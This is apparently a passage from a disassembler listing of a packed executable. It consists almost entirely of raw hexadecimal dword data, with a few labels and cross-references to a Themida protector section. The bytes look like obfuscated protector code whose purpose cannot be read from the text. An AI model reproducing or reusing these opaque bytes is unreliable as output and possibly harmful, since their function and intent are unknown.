		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 0ECC35545h, 8A147985h
		dd 858B2519h, 6482385h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 68C35242h, 89108B93h,	4831D1B5h, 0C9853306h
		dd 5606482Ah, 0F99BD29h, 905F0648h, 63BB6650h, 56609017h
		dd 0EA3BF381h, 56580BA1h, 59C2BF0Fh, 6A006A61h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 9FF8C353h, 0A21DA368h, 24348123h, 23BD1E5Ch,	95FFFC8Ah
		dd 6481C01h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	44C35343h, 0BD26BB84h, 85894D01h, 64BB92Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C9C35646h, 0BCE1355Dh
		dd 14E9C9ADh, 0CF000000h, 5E5B1FDBh, 0CF122C87h, 0F4731E74h
		dd 2770186Dh, 0E97F6D25h, 191h,	0B924858Bh, 6A064Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 19A183C3h, 0C7CD4102h, 1800h, 28B58B00h, 6A064BB9h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 83E9C353h, 0C2BBF493h, 8B011A50h,	482BF185h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 89D8CC0Fh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0CE9A701h
		dd 0CE000000h, 0E7BA6760h, 821D5FA5h, 0F967BEBh, 584h
		dd 0EF816600h, 858BF699h, 6482385h, 0A58D0360h,	0BB064804h
		dd 14F62490h, 4468961h,	5040DB80h, 0E783BF66h, 1243489h
		dd 4823C98Dh, 24B5FF06h, 66064BB9h, 2168DF8Bh, 0FC74357h
		dd 81h,	24048100h, 38DBACDEh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 16C35040h, 0A8A0F37h, 60000000h
		dd 0D8810CB5h, 2CBFB488h, 0F58A6061h, 13870Fh, 0EE90000h
		dd 34000000h, 1CB1A629h, 0D8E0D0DEh, 0D5383C77h, 8B66611Ch
		dd 2C858DD8h, 29064BB9h, 482711BDh, 95BD8B06h, 5006482Fh
		dd 0BB240489h, 5C75C06Eh, 1C0195FFh, 6A0648h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0C04D20C3h
		dd 496F0043h, 897A4203h, 4827559Dh, 0E3806106h,	7DBD2301h
		dd 0C706480Ch, 48242585h, 306h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 716CF4E4h, 6BE0B901h, 7DBD0953h
		dd 8306482Bh, 4BB92CBDh, 840F0006h, 39h, 0E935DB80h, 4Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DDC35343h
		dd 0FE9A2h, 1FF70000h, 40F37CC7h, 6E95B527h, 0D3F7EE83h
		dd 0C305020h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	4AC35747h, 14E8CDh, 52710000h, 0BADB4C2Ah, 881E7B33h
		dd 96673CD4h, 0AE2D7DDDh, 10E82A62h, 0AF000000h, 0DED20702h
		dd 2FA1418Eh, 61EE85CBh, 31F2FB5h, 48206D9Dh, 8B5F5F06h
		dd 4829859Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0E3816632h, 0BD83AC6Ch, 6482425h
		dd 0B8850F03h, 83000003h, 4BB92CBDh, 840F0006h,	3ABh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3EC35343h, 8B007BEDh
		dd 2CB5FFF8h, 80064BB9h, 95FF8BC7h, 6480E35h, 0BB2CCF81h
		dd 0B58B54A5h, 64BB920h, 6D9D89h, 0F8520648h, 106C75Fh
		dd 8B000100h, 9CB750D9h, 0FF243489h, 4BB92CB5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0B16C3446h, 294C006Ah, 6BBCEB81h, 880F5092h,	5, 37F38166h
		dd 5995FFFDh, 0E906481Dh, 11h, 51044C8Dh, 4CC29FB5h, 69D8C273h
		dd 0F5C9469Ah, 20B58B6Fh, 6A064BB9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 7871C350h
		dd 4BC5078Bh, 9589168Ah, 6480255h, 0EE9h, 0F2E6B300h, 39C56DFBh
		dd 52D4F6B3h, 8B36B4CFh, 48104985h, 8D0F5606h, 6, 2B7DBD89h
		dd 895B0648h, 0C486h, 0BE9F800h, 51000000h, 48189567h
		dd 0BCA309E6h, 958BF717h, 6480A19h, 2291BD23h, 0C2830648h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 57BC6330h, 9D8B671Fh, 64820A5h, 6A205089h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 1253C356h, 0D5BD895Ch, 8D064808h,	4BCE0985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 37780D23h, 0A57D2577h, 0C185093Dh, 0E9064818h
		dd 13h,	0A23A6639h, 90FC5D66h, 0FB549F37h, 65AFC47Fh, 89251E8Eh
		dd 0B886h, 68C0F00h, 29000000h,	48094D85h, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 5A0CC356h, 2CB5FFF3h, 89064BB9h, 48214DB5h, 0E195FF06h
		dd 50064823h, 3489FD8Ah, 0DE924h, 0DB570000h, 6142A8C7h
		dd 0C3240901h, 0FF0E5075h, 4BB92CB5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 2D95FF9Ah, 6A06480Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 6125C355h, 48E02042h
		dd 1CA1BD83h, 0F000648h, 3284h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0F00E3DDFh
		dd 2845B589h, 0B7960648h, 0B0BF50EAh, 9627D734h, 0FFF9B70Fh
		dd 4BB92CB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 1DEDC057h, 14C9BD8Bh, 95FF0648h
		dd 6482719h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	87C35343h, 450D1EE6h, 49183CD7h, 0B92CB5FFh, 95FF064Bh
		dd 6480B41h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0D0C35545h, 1D7BB03h, 480FE195h, 0CDBD8306h, 206480Ch
		dd 42840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 190424h, 55450000h, 81D567C3h, 8BE7B047h, 480FD585h
		dd 0F3BB6606h, 0C6DDh, 0FE9h, 88F5B800h, 1E72D8F5h, 466B0561h
		dd 0AAF878F8h, 0E6985C7h, 648h,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 92F2C7C3h
		dd 1A6A7374h, 0E38166CAh, 8166D4F1h, 0E9FCF0EBh, 0FFFFF3C7h
		dd 2051BD8Bh, 0C18B0648h, 6D5B531h, 858D0648h, 64832FDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 2CC35343h
		dd 4B32C424h, 218589C9h, 90064831h, 50FE8B66h, 283B39BBh
		dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 686A29C3h, 5777A9B4h, 0BD8BD7B0h,	6482C19h
		dd 1006AF8h, 4829019Dh,	6A006A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 911DC351h
		dd 961D0BD5h, 0F680602Bh, 61CE8B7Bh, 15A9B501h,	858D0648h
		dd 64C74A7h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	15C35141h, 0B4B1CE66h, 6A05C083h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 7B27C356h
		dd 5FDA4392h, 0B95BBF38h, 0F5018CFh, 28Eh, 895B5600h, 6A2404h
		dd 6870Fh, 0BD330000h, 6482149h, 0CF81006Ah, 0EE191A6h
		dd 277D95FFh, 8D8D0648h, 64B9C14h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 8CC35747h, 3B71A669h, 0E8284E6Ch
		dd 0Eh,	0B52FAB45h, 0E123EA0Dh,	0EF673BA2h, 0FF5F8CC7h
		dd 52006AD1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 9D8BDBDAh, 6481975h, 1949BD83h, 0F010648h
		dd 7985h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0FFF3770h, 687h, 59B58900h, 6A064818h
		dd 5E802h, 0D8BF0000h, 2B7A0B3Ch, 481F2D9Dh, 0BF905B06h
		dd 3601868Ah, 48A0F50h,	66000000h, 90EEB2BFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h, 95FFB4DDh
		dd 64823E1h, 0E5AFC381h, 0F9E96E18h, 0E800000Ch, 0
		dd 0B1ED815Dh, 66064C74h, 6AD98Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0FA1969C3h, 565E08B1h
		dd 8DA368CFh, 4B974485h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 86B7926Ah, 24D19D8Bh
		dd 8A900648h, 8B9050FAh, 482B7DBDh, 35FF6406h, 0
		dd 19ED8D01h, 89640648h, 25h, 858D0900h, 0FF064804h, 480A2D85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 93C61745h, 0BF669B29h, 0FF6A8EC4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9FC35545h, 0A64BD1E0h
		dd 0C59D3333h, 0FF06480Dh, 481035B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 0DEA475AFh, 17D9C3A8h, 0A595FFEAh, 0E906480Ah, 110h
		dd 0B0FA8Bh, 70E6FA8Bh,	8E8h, 0AE34B800h, 78C05C0Bh, 6D6BBBF0h
		dd 0E45B41B6h, 0E3806071h, 3C61FC94h, 0E5830F61h, 89000000h
		dd 482B3985h, 0C8B60F06h, 0A0DEDCBFh, 6BA68h, 0C18B0000h
		dd 8D1EBABFh, 4E8C17Eh,	19659D8Bh, 0F7660648h, 2BDF8BE2h
		dd 0A1BB66C8h, 0E9D18BEDh, 0Eh,	0AD9F86B3h, 0D57D95BAh
		dd 0D3BD588Fh, 13E98BA6h, 8B000000h, 4826BDBDh,	81666006h
		dd 8BBE69C8h, 48224D95h, 858B6106h, 6481E25h, 6860F60h
		dd 89000000h, 48303595h, 0D78B6606h, 7C08361h, 0F00C083h
		dd 0D03BD9B7h, 29830Fh,	890F0000h, 0Ch,	68B0Fh,	0EF810000h
		dd 887A964h, 4BE9h, 0C9B58900h,	6006481Ch, 691613B8h, 0F478BB1Fh
		dd 8B613C43h, 4830718Dh, 99D8B06h, 8306482Ah, 840F01E1h
		dd 24h,	2B2D9D29h, 0A5830648h, 6483071h, 89DA8BFEh, 481E2595h
		dd 0FEBB6606h, 0B98D8980h, 0E9064813h, 0
		dd 0FFEBB58Dh, 0BD8B064Bh, 64829B1h, 98D2960h, 8B064820h
		dd 6A61D3h, 306195FFh, 9D8B0648h, 648096Dh, 7CFB9h, 85858900h
		dd 83064804h, 0E860FCE1h, 5, 0F88672D0h, 0D7BF0F38h, 0DC2815Bh
		dd 614C1A60h, 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 2950588Ch, 481B35B5h, 0B806h, 81660000h
		dd 2BB6B2EBh, 50006AD2h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 5CD10B49h, 3E053286h, 0BD8B7C9Dh
		dd 648235Dh, 0D1C233ADh, 83D003E8h, 0F47504E9h,	0DF8F98Bh
		dd 88h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h
		dd 2C35747h, 65EF7550h,	0A19958Bh, 6A0648h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B605AC3h
		dd 482C19BDh, 81665606h, 593C18C3h, 0F240BF61h,	8D8B6DEFh
		dd 6480F35h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	7AC35343h, 337AEAEAh, 481EBDBDh, 0F99D0306h, 50064828h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 877578EBh, 7A8B4D4Dh, 0BF0F7F6Ch, 850FDAh, 9000000h
		dd 48240D85h, 0FAB70F06h, 19A5BD83h, 0F000648h,	9884h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0B8DC19h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3BE9C356h
		dd 350C2524h, 0AE9BA9Ah, 80000000h, 0E998EA40h,	1A6EFA14h
		dd 648D8D56h, 8B06484Bh, 48243DBDh, 6AE1FF06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0F2B0C356h, 0E8BADD55h, 0Dh,	53DD44DFh, 37C85631h, 0A8165647h
		dd 0FABF0FCBh, 25BD835Fh, 64824h, 464840Fh, 0D98B0000h
		dd 3EEF8157h, 5F49AD89h, 2425BD83h, 0F010648h, 46884h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BB66C0E6h, 0BD83BA80h, 6482425h, 4860F03h
		dd 66000004h, 0E956FE8Bh, 6, 527555DAh,	605BCD66h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 80C35343h, 2C0EA1BEh
		dd 66FB8BCBh, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 661890C3h, 8BDD73BFh, 4E180DEh
		dd 5AD9D8Bh, 0C90A0648h, 152840Fh, 9D310000h, 64814E1h
		dd 2245BD8Bh, 858B0648h, 6482385h, 1B158D89h, 85330648h
		dd 6482AC9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0CCC35646h, 42E7D104h, 0B100E5F6h, 9529F556h, 6481B75h
		dd 70CEBB90h, 0E9507EB3h, 6, 0DC388D00h, 6A909669h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0CC13C350h, 0A1D62B1Ch, 9F8B70Fh, 4828E18Dh,	6A006A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 22E0C350h, 0E9C10AF5h, 0Ah, 79989A23h, 0B27637A1h
		dd 0B70F3A43h, 96E768DBh, 0FE8BCED7h, 18240481h, 6A31476Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 5B4AC350h, 21CD9D2Bh, 0B5290648h,	6480D6Dh
		dd 1C0195FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 669CD8C3h, 0E409C1E7h, 89C44795h
		dd 4BB92C85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 2D466CBh,	4216E0EEh, 0E19D8B0Fh
		dd 0E9064810h, 1A6h, 0B924858Bh, 0D781064Bh, 30753E4h
		dd 1800C7h, 9D010000h, 6480ACDh, 0B928B58Bh, 9D03064Bh
		dd 6480115h, 2BF1858Bh,	9D090648h, 6480F89h, 0CA4EBF66h
		dd 81660689h, 8BB7CBF7h, 48238585h, 419D8B06h, 8906482Fh
		dd 6A0446h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0D7E8DAC3h, 0C27A19E9h, 0BE960h, 7E6E0000h
		dd 61BA9128h, 24C83D49h, 54D08110h, 612C0EB3h, 8B666050h
		dd 505250F7h, 5A310F52h, 0F310F58h, 81h, 61585A00h, 6A243489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0FF63C356h, 48A3B54Dh, 0BD8BE60Bh, 6481CC9h
		dd 0B924B5FFh, 9D31064Bh, 64809DDh, 0F625DF68h,	240481A7h
		dd 5828DE20h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ch,	31C35343h, 9168AD35h, 0D9700A7Ah, 14C1BD8Bh, 858D0648h
		dd 64BB92Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0F3C35141h, 0B368BF00h,	0A659D89h, 57900648h, 5E9h
		dd 0DEF44E00h, 505B1738h, 90DF8B66h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 3DC35545h, 0B06FB12Bh, 81663E5Fh
		dd 0FFA95ADFh, 481C0195h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0CFA3228Eh
		dd 5F69075Fh, 9D0BDCF1h, 648064Dh, 2F719D8Bh, 6A610648h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 6F10C356h, 93BF2959h, 661FB8B3h, 85C7D98Bh
		dd 6482425h, 3,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0A6C35747h, 6800Fh, 8D890000h, 6482E85h, 61606053h
		dd 5F615851h, 0B92CBD83h, 0F00064Bh, 3284h, 0FBB70F00h
		dd 0FE8h, 44AAB500h, 50FC9DBEh,	5EC271AFh, 0EC553BE8h
		dd 0E318D89h, 0E95B0648h, 2Ah, 0AE9h, 334DE500h, 0EB69274h
		dd 501930BBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0A6BE7FC3h, 4E7CD448h, 0A99D8B38h
		dd 83064814h, 482425BDh, 850F0306h, 392h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 9FC35141h, 3D48550Fh
		dd 0C8B0Fh, 880F0000h, 6, 0C413DF81h, 0BD833671h, 64BB92Ch
		dd 53840F00h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0D11AC352h,	8D99003Dh
		dd 0DDEC3B7h, 66D9B70Fh, 0FF5703BFh, 4BB92CB5h,	0C6EF8106h
		dd 33532ABFh, 4813D99Dh, 3595FF06h, 6A06480Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0B90CC350h, 0E61DDB45h, 38B0Fh, 0BF0F0000h, 20B58BFFh
		dd 6A064BB9h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0C71DC355h, 1000106h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0C7A47C0Ah
		dd 9F7C932Bh, 0D8B70F03h, 509663B7h, 3870Fh, 8B660000h
		dd 6A96FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 69F911C3h, 75538129h, 39B58960h, 0FF064827h
		dd 4BB92CB5h, 619D8B06h, 0FF064822h, 481D5995h,	0BDBD0B06h
		dd 8B06480Ah, 4BB920B5h, 49858B06h, 1064810h, 48153DB5h
		dd 0C4868906h, 89000000h, 4806B18Dh, 19958B06h,	6A06480Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0F958C357h, 0BF04C283h, 5C392C20h, 0BF205089h
		dd 5DAC2399h, 68F0Fh, 9D8B0000h, 6480D71h, 0CE09858Dh
		dd 6A064Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 6B68C7C3h, 0DA0239Bh, 13F69A7h, 48150D85h
		dd 0B8868906h, 66000000h, 6AD98Bh, 0B5FFFB8Bh, 64BB92Ch
		dd 23E195FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 9AF7EFC3h, 8188C184h, 0FD8589BCh
		dd 5006480Eh, 68FABF50h, 895F7C8Ah, 7E92434h, 88000000h
		dd 0FA3E268h, 81664489h, 0FFA206D7h, 4BB92CB5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 9EB293A1h, 0DB0183F7h, 0FFDBBF0Fh, 480E2D95h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BF0F8E56h, 83D98BFAh, 481CA1BDh, 840F0006h,	19h, 2559D8Bh
		dd 56500648h, 235FBF66h, 2434895Fh, 9F88B66h, 482ECDB5h
		dd 2CB5FF06h, 6A064BB9h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 922FC353h, 7240B8EFh
		dd 0F59D8996h, 89064832h, 482B7195h, 1995FF06h,	89064827h
		dd 4830158Dh, 2CB5FF06h, 6A064BB9h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0EE82C351h
		dd 0E7294760h, 0FF5BE66Ah, 480B4195h, 498D0906h, 83064822h
		dd 480CCDBDh, 840F0206h, 4Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0B2C35646h,	4A8804E5h, 483DC91Eh
		dd 1B95BD8Bh, 858B0648h, 6480FD5h, 13820Fh, 0EE90000h
		dd 25000000h, 890E7BFh,	0C168BDF7h, 4E8DE684h, 0C69Fh
		dd 0E6985C7h, 648h, 29520000h, 482075BDh, 0EFE95F06h, 8BFFFFF3h
		dd 4820599Dh, 6AC18B06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0E28FC353h,	7474FD90h
		dd 0D4613F2Dh, 7E9h, 0F253C800h, 5C5053E6h, 32FD858Dh
		dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0B58948C3h, 6482DDDh, 0D7B76090h,	61CF8B66h
		dd 6A9050h, 3E850h
		db 2 dup(0)
word_584F4E	dw 5820h		; DATA XREF: ___:0043683Co
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0FA788AC3h
		dd 2E0BF00Ah, 6AA192C1h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 34A1AEAh, 4822859Dh, 8B006A06h
		dd 0DD858DDEh, 6A064C83h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 84B3C352h, 0C08316F8h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0BCF6CBEAh, 0C76F1EF8h, 4890Fh, 0BF660000h
		dd 0F908212h, 88Bh, 8B0F5100h, 0
		dd 860F505Bh, 0Ah, 5E9h, 3728F400h, 6A90F3A7h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0BE02C355h, 6A65BF33h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 7A9B3493h
		dd 9148591Ch, 3379DB81h, 6A55D7h, 0BDE28060h, 14F98589h
		dd 0FF610648h, 48277D95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0CEF99C81h
		dd 0F263002h, 8D8DF9BFh, 64B9C14h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 9EC35141h, 830FB277h, 1, 9860FF9h
		dd 0F000000h, 383h, 0DE8B6600h,	0B6BBD1FFh, 8355760Eh
		dd 481949BDh, 850F0106h, 70h, 0AED9D2Bh, 26A0648h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 98C35646h, 0E40B160Bh
		dd 66605050h, 0BE66F38Bh, 5B61E798h, 6A240489h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 720EC356h, 6C79EDA4h, 6800Fh, 9D8B0000h, 6481DB9h, 23E195FFh
		dd 0BD230648h, 6482DB1h, 0CC5E9h
		db 0
byte_585151	db 0E8h, 2 dup(0)	; DATA XREF: Themida_:0053E268o
		dd 815D0000h, 4C83E7EDh, 58F0F06h, 66000000h, 4C92EF81h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5FC35545h
		dd 65456B72h, 0C9D8A2ECh, 8B1BD8Bh, 858D0648h, 64B9744h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 2BC35646h
		dd 2DADB832h, 7E84F381h, 0E85004E6h, 0Ch, 46913C1Eh, 0ABC40B36h
		dd 1D0C8D8Ch, 2404895Fh, 35FF64F9h, 0
		dd 0D3D9589h, 89640648h, 25h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 7F33FEBDh
		dd 0FFF528CCh, 480A2D85h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0DB0685F3h
		dd 0CF58D29h, 66570648h, 6A5BF98Bh, 56006AFFh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FC06826h
		dd 68Dh, 0E5BD2900h, 0FF06482Eh, 4824B5B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0B8CCEFA6h, 783C3737h, 95FFF8F8h, 6480AA5h, 0FDE9h
		dd 0B0F800h, 27D18D89h,	70E60648h, 0E4DE8B66h, 3CDE8B71h
		dd 0E3830F61h, 81000000h, 3C0B8DEFh, 0C8B60F0Bh, 0BD3DBF66h
		dd 6BAh, 0E3816600h, 0C18BFF19h, 818589h, 0E8C10648h, 0FEB70F04h
		dd 2899BD89h, 0F7660648h, 0F5BD89E2h, 0F064806h, 488h
		dd 0FEBB6600h, 80C82B3Eh, 0D18BF7E7h, 11E8h, 0EF563E00h
		dd 1D3B703Ch, 0C0475186h, 46A6A4FDh, 890F164Dh,	1, 3E95FF8h
		dd 0F000000h, 858BFAB7h, 64820D1h, 83FA8B66h, 0DD8A07C0h
		dd 3100C083h, 482CADBDh, 0FD03B06h, 1883h, 0FDB58900h
		dd 0FC064809h, 4DE9h, 68D0F00h,	8B000000h, 480FD9BDh, 918D8B06h
		dd 8906481Ah, 482051BDh, 1E18306h, 2C840Fh, 8D090000h
		dd 648227Dh, 1A91A583h,	8BFE0648h, 48278D9Dh, 0D1958906h
		dd 51064820h, 820Fh, 895B0000h,	48096DBDh, 0E906h, 0B58D0000h
		dd 64C09A6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0BAC35545h, 66ED778Fh, 6ADA8Bh,	27698589h, 95890648h
		dd 64800F9h, 306195FFh,	13E80648h, 39000000h, 0B7907C76h
		dd 584A4A6Ch, 0D352302Eh, 730D342Dh, 0B95B06ADh, 81Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B2C35040h
		dd 7AA1F224h, 35CBCBAh,	0FCE183A7h, 9FBDEF81h, 6AFC5505h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 217CC350h, 4C549212h, 46E9DA5Dh, 96F6BB60h
		dd 0BD8B51C7h, 6482C9Dh, 8BC02B61h, 48269DBDh
dword_58545C	dd 0D22BF906h, 960DF8Bh, 482A2985h, 498D2906h, 6106480Fh
					; DATA XREF: Themida_:0053F148o
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 65C35747h, 0DD44DF78h, 0E9563153h
